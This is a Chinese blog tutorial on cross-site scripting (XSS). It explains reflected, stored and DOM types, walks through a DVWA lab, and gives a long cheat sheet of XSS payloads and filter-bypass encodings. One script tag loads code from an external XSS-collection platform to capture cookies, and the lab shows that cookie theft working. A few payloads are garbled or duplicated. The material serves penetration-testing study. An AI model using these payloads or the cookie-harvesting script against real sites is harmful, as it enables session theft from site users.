XSS浅析

于 2023-09-01 21:55:20 发布
阅读量147 收藏
点赞数
文章标签： xss 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Mr_Rongyao/article/details/132631175
版权

XSS

XSS的简介

跨站脚本攻击XSS（Cross Site Scripting）,为了不和层叠样式表的（Cascading Style Sheetes,CSS）的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页的时候，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。XSS攻击正对的是用户层面的攻击。

XSS漏洞分类

反射性XSS

反射型XSS介绍

反射型XSS是非持久性、参数型的跨站脚本。反射型XSS的JS代码再Web应用的参数（变量）中，如搜索框的反射型XSS。在搜索框中，提交PoC[scriptalert(/xss/)/script]，点击搜索，即可出发反射型XSS。

**注：**所谓非持久性是指该操作不会进入数据库，只能在页面上展示。

下面也a标签举例

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <a href="javascript:alert(1)">aaaa</a>
</body>
</html>

在这里插入图片描述

此时的页面就会进行一次弹窗，但是由于没有进入数据库，所以不会多次弹窗

除此之外能出发反射型XSS标签还有：

<script>prompt(1)</script>
<svg/οnlοad=alert(1)>
<img src="1" onerro=alert(1)/>

反射型XSS攻击流程

在这里插入图片描述

反射型XSS测试

**测试平台：**https://xss9.com/

在这里插入图片描述

创建一个xss项目

在这里插入图片描述

根据项目内的题是进行测试

将以下代码插入到怀疑出现xss的地方

<sCRiPt sRC=https://xss9.com/2F1N></sCrIpT>

在这里插入图片描述

然后在浏览器中访问

在这里插入图片描述

可以看到浏览器访问到了2F1N的字段

在这里插入图片描述

然后在xss9.com中就会收到相应的请求信息

靶场测试

靶场下载地址：

https://github.com/digininja/DvWA/archive/master.zip

下载后解压到/PHPStudy/www/目录下并将名字改为dvwa

在这里插入图片描述

打开WWW/dvwa/config目录，将config.inc.php.disc文件按的后缀 .disc删掉

然后打开该文件，修改一下内容

在这里插入图片描述

打开phpstudy_pro\Extensions\php\php7.3.4nts下的php.ini

在这里插入图片描述

然后就可以在浏览器中访问在这个靶场了

如果浏览器访问结果是php源码，请注意phpStudy的服务器是否打开（我就在这里上当了）

image-20230901143126275

打开靶场，可以查看到aaa的输出位置

在这里插入图片描述

将dwva等级换成LOW

在这里插入图片描述

然后输入测试代码

在这里插入图片描述

随后就能获得相应的登录信息，包含COOKIE值

在这里插入图片描述

存储型XSS

存储型XSS是持久性跨站脚本。持久性体现在XSS代码不是某个参数（变量）中，而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方。我们在留言板位置留言，将恶意代码写进数据库中。此时，我们只完成了第一步，将恶意代码写入数据库。因为XSS使用的JS代码，JS代码的运行环境是浏览器，所以需要浏览器从服务器载入恶意的XSS代码，才能真正触发XSS。此时，需要我们模拟网站后台管理员都得身份从，查看留言。

存储型XSS攻击过程

在这里插入图片描述

因为XSS存储到了数据库中，所以每次刷新都会弹出1

在这里插入图片描述

在这里插入图片描述

基于DOM的XSS

DOM XSS比较特殊。owasp关于DOM型号XSS的定义是基于DOM的XSS是一种XSS攻击，其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行，并不会传到服务器上，这也就使得DOM XSS比较难以检测。

通过修改default值，修改后的值会自动反映到页面上

在这里插入图片描述

在这里插入图片描述

常见的XSS攻击方式

script标签

<script>标签用于定义客户端脚本，比如JavaScript

<script>alert(1)</script>

img标签

<img>标签定义HTML页面中的画像

<img src=1 onerror=alert(1)>

input标签

<input>标签规定了用户可以在其中输入是数据的输入字段=

//onfocus 实践在对象获得焦点时发生
<input onfocus=alert(1);>

竞争焦点，从而触发onblur事件

<input onblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件，这个向量是使焦点自动跳到输入元素上，触发焦点事件，无需用户去触发：

<input onfocus="alert(1);" autofocus>

" οnclick=alert(1)>        这样需要点击一下输入框<br>
" onmouseover=alert(1)>    需要鼠标划过输入框<br>

details标签

<details> 标签通过提供用户开启关闭的交互式控件，规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发：

<details ontoggle=alert(1);>

使用details 标签的 open 属性触发ontoggle事件，无需用户去点击即可触发：

<details open ontoggle=alert(1);>

select标签

<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select

通过autofocus属性规定当页面加载时元素应该自动获得焦点，这个向量是使焦点自动跳到输入元素上，触发焦点事件，无需用户去触发：
<select onfocus=alert(1) autofocus>

iframe标签

<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select

通过autofocus属性规定当页面加载时元素应该自动获得焦点，这个向量是使焦点自动跳到输入元素上，触发焦点事件，无需用户去触发：
<select onfocus=alert(1) autofocus>

video标签

<video> 标签定义视频，比如电影片段或其他视频流。

<video><source onerror=alert(1)>

audio标签

<audio> 标签定义声音，比如音乐或其他音频流。

<audio src=x  onerror=alert(1);>

body标签

<body> 标签定义文档的主体。

<body onload=alert(1);>

onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus，当用户滑动滚动条的时候自动触发，无需用户去点击触发：

<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

taxtarea标签

<textarea> 标签定义一个多行的文本输入控件。

<textarea onfocus=alert(1); autofocus>

keygen标签

<keygen autofocus onfocus=alert(1)> //仅限火狐

marquee标签

<marquee onstart=alert(1)></marquee> //Chrome不行，火狐和IE都可以

isindex标签

<isindex type=image src=1 onerror=alert(1)>//仅限于IE

常见基本过滤方法

空格过滤

当空格被过滤了时，我们可以用 / 来代替空格：

/**/，注释符号绕过；/符号绕过；

<img/src="x"/onerror=alert(1);>

也可以：

<img/src="x"onerror=alert(1);>

引号过滤

如果是html标签中，我们可以不用引号。如果是在js中，我们可以用反引号代替单双引号：

<img src=x onerror=alert(`xss`);>

括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

关键字过滤
大小写绕过

<sCRiPt>alert(1);</sCrIpT>

<ImG sRc=x onerRor=alert(1);>

双写绕过

有些waf可能会只替换一次且是替换为空，这种情况下我们可以考虑双写关键字绕过

<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>

字符串拼接绕过

利用eval()函数

与PHP的eval()函数相同，JavaScript的eval()函数也可以计算 JavaScript 字符串，并把它作为脚本代码来执行。

<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中，我们可以用反引号代替单双引号

编码绕过

Unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

javasc&#x72;&#x69;pt:alert(/xss/)     (编码了r和i)

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ASCII码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤url地址

使用url

<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

javasc&#x72;&#x69;pt:alert('xsshttp://')

使用IP

1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\
但是要注意在windows下\本身就有特殊用途，是一个path 的写法，所以\\在Windows下是file协议，在linux下才会是当前域的协议

6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

单引号闭合+htmlspecialchars函数绕过

'onmouseover='alert(/xss/)

JavaScript伪协议

"><a href=javascript:alert(/xss/)>                  o_n和<scr_ipt>过滤
离拥
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
第07篇：浅析web暴力猜解1
08-03
1、获取用户名，常见的有登录错误提示、网站文章编辑落款、社工等 2、猜解密码，一个有效的字典 3、验证码识别或绕过，常见有验证码与用户名密码分离、验证码不能自动
浅析js 文字滚动效果
01-21
这种效果在今后的web发展中是不是常用或者是否依然被设计师们所...下面看看它的实现过程： 1.html 代码如下: ”box” id=”marqueebox0″> <ul> <li xss=removed>第一行</li> <li xss=removed>第二行</li> <li styl
xss学习经历
Hack_Wen的博客
11-21 503
xss的学习历程 1 由于最近对渗透测试的相关学习，了解了一些xss payload的一些方法，在这里总结一下， xss分类 首先，简单介绍一些xss攻击的类别，xss分为存储型，反射性，DOM型， XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的...
DVWA------XSS（全）
m0_65712192的博客
12-13 4483
DVWA-----XSS（全）
XSS插入绕过一些方式总结
热门推荐
煜铭2011
05-05 7万+
0x00前言 我们友情进行XSS检查，偶然跳出个小弹窗，其中我们总结了一些平时可能用到的XSS插入方式，方便我们以后进行快速检查，也提供了一定的思路，其中XSS有反射、存储、DOM这三类，至于具体每个类别的异同之处，本文不做学术介绍，直接介绍实际的插入方式。 0x01 常规插入及其绕过 1 Script 标签 绕过进行一次移除操作： <scr<script&g...
[WEB安全]XSS命令总结
baguangman5501的博客
07-22 1012
一：正常构造方式： 1、无过滤，直接写： <script>alert(1)</script> 2、正常截断： "> <script>alert(1)</script> '> <script>alert(1)</script> 3、不用<>尖括号： " onmouseover=alert(1) ...
XSS————XSS绕过Bypass的各种各样姿势
Fly_鹏程万里
04-16 1万+
XSS 攻击是一种攻击者将 JavaScript 代码注入到用户运行页面中的攻击。为了避免这种攻击，一些应用会尝试从用户输入中移除 JavaScript 代码，但这很难完全实现。在本文中会先展示一些尝试过滤 JavaScript 的代码，并随后给出其绕过方法。以一个网上商城应用Magento中的过滤类 Mage_Core_Model_Input_Filter_MaliciousCode为例，部分代...
Python yield 使用方法浅析
12-23
如何生成斐波那契數列 斐波那契（Fibonacci）數列是一个非常简单的递归数列，除第一个和第二个数外，任意一个数都可由前两个数相加... while n < max xss=removed xss=removed>>> fab(5)  1  1  2  3  5 结
WPF换肤设计原理浅析
12-31
WPF换肤的设计原理，利用资源字典为每种皮肤资源添加不同的样式，在后台切换皮肤...<ResourceDictionary xss=removed xmlns:x=http://schemas.microsoft.com/winfx/2006/xaml> <!--Window样式--> <Style x:K
ASP.net的验证控件浅析
01-01
①、数据格式验证控件（RegularExpressionValidator） 代码如下: ”RegularExpressionValidator1″ runat=”server” ErrorMessage=”此用户名已注册过” xss=removed xss=removed></asp> 通过自定义正则表达式，与...
Javascript动画的实现原理浅析
01-19
假设有这样一个动画功能需求：把一个div的...”test1″ xss=removed> function animate1(element, endValue, duration) {  var startTime = new Date(),  startValue = parseInt(element.style.width),  step = 1
深入浅析search 搜索框的写法
12-29
下面我就以京东搜索框为例，给大家浅析一下。 上面就是最终search框效果图。 先送出代码>>>>>> <span xss=removed><strong>HTML 标签：</strong></span> <form> <input type=text name=search ...
深入浅析AngularJs模版与v-bind
01-19
简介 v-bind与{{}}都可以对数据进行绑定，但是二者有区别的，v-bind不好，为什么说v-bind不好是因为v-bin做了完全替换的错做...<div xss=removed ng-init=a b=4> <input type=text ng-model=a/>*<input type=
XSS常用标签
weixin_47306547的博客
09-17 2859
目录 XSS常用标签 < script> < img > < input > < details> < svg > < select > < iframe > < video> < audio > < body > XSS常用标签 <script> alert("xss"); </script> <img src=1 one...
XSS从菜鸟到高手，你可能需要这些干货&技巧
MachineGunJoe666
06-03 2254
XSS 简介 XSS，全称Cross Site Scripting，即跨站脚本攻击，是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据攻击代码的工作方式，XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。 反射型 反射型的XSS是非持久化的，攻击者事先制作好攻击链接，需要
渗透测试web安全 - XSS 最新的实用触发及绕过技巧
网络安全领域优质创作者
02-19 2518
希望在各位遇到难解决的WAF或XSS过滤器时，这份备忘录能够给大家提供一些帮助或灵感。作为例子，不能说100%完整，但是我相信这里提供的技术是2020年部分安全人员仍在使用的技术。 标签-属性分隔符 有些过滤器会“天真地认为”只有某些特定字符可以分隔标签及其属性，下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表： Decimal value URL En...
xss filter
最新发布
09-08
XSS (Cross-Site Scripting) 是一种常见的安全漏洞，攻击通过注入恶意脚本来攻击网站用户。为了防止XSS攻击，可以使用XSS过滤器来对用户输入的数据进行处理和过滤。 XSS过滤器的主要目标是检测和阻止恶意脚本的注入。它可以通过以下几种方式来实现： 1. 输入验证: 对用户输入的数据进行验证，确保只接受符合预期格式和类型的数据。例如，如果一个输入字段只允许数字，那么任何非数字的输入都应该被拒绝。 2. 输出转义: 对从数据库或其他来源检索到的数据进行适当的转义处理，确保在将其插入到HTML页面时不会被解释为可执行的脚本代码。常见的转义包括将特殊字符如<、>、&等替换为对应的HTML实体编码。 3. 内容安全策略(CSP): 使用CSP可以限制页面中可以加载和执行的资源，从而减少XSS攻击的可能性。CSP可以配置允许加载的外部脚本、样式表和图片等资源，同时禁止内联脚本和eval()等危险函数的使用。 4. HttpOnly Cookie: 将敏感信息存储在HttpOnly Cookie中，这样可以防止客户端的脚本访问和修改Cookie内容，减少XSS攻击的影响范围。 5. 使用安全的编程语言和框架: 选择使用经过安全性测试的编程语言和框架，它们通常提供了内置的安全机制和过滤器，帮助减少XSS攻击的风险。 综合上述措施可以加强网站的安全性，但是XSS攻击的方法和技术不断演变，所以保持对最新安全威胁的了解和及时更新防护措施也是非常重要的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值